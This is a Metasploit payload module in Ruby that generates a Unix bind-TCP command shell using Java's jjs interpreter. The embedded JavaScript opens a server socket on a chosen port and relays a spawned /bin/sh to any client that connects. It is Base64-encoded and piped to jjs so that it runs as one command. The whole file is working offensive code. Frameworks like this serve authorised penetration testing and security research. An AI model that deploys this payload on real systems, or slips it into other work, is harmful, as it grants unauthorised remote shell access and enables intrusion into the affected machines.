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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 795
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'        => 'Unix Command Shell, Bind TCP (via jjs)',
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     'Description' => 'Listen for a connection and spawn a command shell via jjs',
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     'Author'      => [
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       'conerpirate', # jjs bind shell
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       'bcoles'       # metasploit
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     ],
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     'References'    => [
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       ['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
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       ['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
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       ['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],
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     ],
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     'License'     => MSF_LICENSE,
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     'Platform'    => 'unix',
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     'Arch'        => ARCH_CMD,
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     'Handler'     => Msf::Handler::BindTcp,
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     'Session'     => Msf::Sessions::CommandShell,
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     'PayloadType' => 'cmd',
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     'RequiredCmd' => 'jjs',
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     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
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    ))
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    register_options(
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      [
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        OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])
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      ]
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    )
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    register_advanced_options(
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      [
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        OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])
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      ]
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    )
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  end
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  def generate(_opts = {})
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    return super + command_string
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  end
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  def command_string
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    jcode = %Q{
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      var ss=new java.net.ServerSocket(#{datastore['LPORT']});
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      while(true){
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        var s=ss.accept();
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        var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
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        var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
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        var po=p.getOutputStream(),so=s.getOutputStream();
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        while(!s.isClosed()){
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          while(pi.available()>0)so.write(pi.read());
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          while(pe.available()>0)so.write(pe.read());
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          while(si.available()>0)po.write(si.read());
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          so.flush();
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          po.flush();
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          java.lang.Thread.sleep(50);
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          try{p.exitValue();break;}catch(e){}
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        };
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        p.destroy();s.close();ss.close();
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      }
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    }
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    minified = jcode.split("\n").map(&:lstrip).join
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    %Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}
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  end
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end
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